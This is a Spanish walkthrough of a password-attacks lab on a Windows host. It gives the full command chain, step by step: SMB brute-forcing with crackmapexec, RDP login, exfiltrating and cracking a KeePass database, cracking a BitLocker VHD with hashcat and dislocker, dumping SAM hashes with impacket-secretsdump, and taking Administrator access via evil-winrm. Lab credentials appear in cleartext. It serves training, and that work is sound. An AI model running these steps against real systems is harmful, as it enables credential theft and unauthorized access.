Laboratorio de Ataques de Contraseña - Díficil

Enunciado

El siguiente host es un cliente basado en Windows. Al igual que en las evaluaciones anteriores, nuestro cliente desea asegurarse de que un atacante no pueda acceder a ningún archivo confidencial en caso de un ataque exitoso. Mientras nuestros compañeros estaban ocupados con otros hosts de la red, descubrimos que el usuario Johanna está presente en muchos hosts. Sin embargo, aún no hemos podido determinar el motivo exacto de esto.

De entrada nos están dando un posible usuario, más adelante vemos donde lo podemos usar.

Enumeración de puertos

Vamos con lo básico a ver qué servicios están corriendo sobre el servidor.

nmap -p- -sS --min-rate 2000 -n -Pn <IP>

Vemos que tenemos los puertos 111, 135, 139, 445, 2049, 3389, 5985, etc, abiertos, vamos a recoger más información de los servicios que hay corriendo en cada puerto que nos salió a ver si vemos algo interesante.

nmap -p22,111,135,139,445,2049,3389,5985,47001,49664,49668 -sCV -n -Pn <IP>

Donde vemos que el Nombre de la Máquina es WINSRV, nos da una versión de Windows de 10.0.17763. Empezamos a enumerar servicios y nos encontramos que en en el puerto 445 con el usuario que nos dieron al principio johanna y la lista de password mutada con las custom rules. Hacemos un ataque de fuerza bruta sobre ese servicio de la siguiente forma:

crackmapexec smb <IP> -u johanna -p /.../mut_password.list

Listamos la información del servidor con las credenciales:

smbclient -L //10.129.67.26/ -U Johanna
#password

Vemos que hay un recurso david el cual intentamos listar pero con el usuario johanna no tenemos los permisos para ver nada.

Con las credenciales del usuario johanna podemos acceder por rdp a su escritorio

xfreerdp3  /v:<IP> /u:johanna /p:'1231234!' 

Y vemos que en el directorio Documents hay un archivo del keepass, nos lo copiamos para local para trabajarlo más cómodo.

Nos vamos a instalar una herramienta para montar un servidor web sencillo y subir el archivo desde windows a nuestra máquina Linux.

python3 -m pip install uploadserver
python3 -m uploadserver

Nos lo instalamos así y procedemos a usarlo: En la máquina windows ponemos en el navegador http://<IP>:8000 accedemos a la primera opción (File Upload) y subimos el archivo.

Luego vamos al directorio donde nos descarga el archivo y le ejecutamos el siguiente comando para intentar crackear la contraseña.

keepass2john Logins.kdbx > keepas.hash
john --wordlist=/.../mut_password.list keepas.hash

Procedemos a entrar al archivo Logins.kdbx

Tenemos david:gRzX7YbeTcDG7

Recordemos que en el puerto 445 esta corriendo un smb donde hay un recurso llamado david al que ahora podemos intentar acceder

smbclient //<IP>/david -U david --option='client min protocol=SMB2'
#Password

Y vemos que tenemos un archivo backup.vhd Nos lo bajamos para trabajarlo en local(se demora un poco en bajarse porque pesa como 130 mb)

Ahora con la herramienta bitlocker2john vamos a extraer los hashes para intentar crackearlos con las wordlists posteriormente.

bitlocker2john -i Backup.vhd > backup.hashes

Dentro de los hashes seleccionamos el de bitlocker:

Procedemos a crackear el hash con la mut_password

hashcat -m 22100 backup.hash /.../mut_password.list -o backup.cracked

Vamos a montar el Backup.vhd como un dispositovo de almacenamiento para intentar acceder a los datos que en el se almacenan.

sudo losetup --partscan --find --show Backup.vhd

Luego vemos que en slot 5 esta la partición de datos donde debe estar la información.

mmls Backup.vhd

Desbloqueamos el disco utilizando la contraseña que crakeamos:

sudo dislocker -V /dev/loop9p2 -u123456789! -- /mnt/bitlocker

Montamos el volumen que dislocker crea:

mkdir /mnt/bitlocker
mkdir /mnt/bitlocker_mount
sudo mount -o loop /mnt/bitlocker/dislocker-file /mnt/bitlocker_mount

Y vemos su contenido:

ls /mnt/bitlocker_mount

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Copiamos la linea de administrator para una archivo yo le puse adm.hash y le pasamos el john para crackerar el hash

john --wordlist=/.../mut_passwd.list adm.hash --format=NT

Ya con las credenciales de Administrator podemos usar evilwinrm y acceder a la flag.

evil-winrm -i <IP> -u Administrator
#Password

Y nos movemos al directorio indicado.

Si te sirvió de algo este tutorial ya para mi es más que suficiente, si me puedes decir en que podemos mejorar te lo voy a agradecer un montón.

Escríbeme por cualquiera de las vías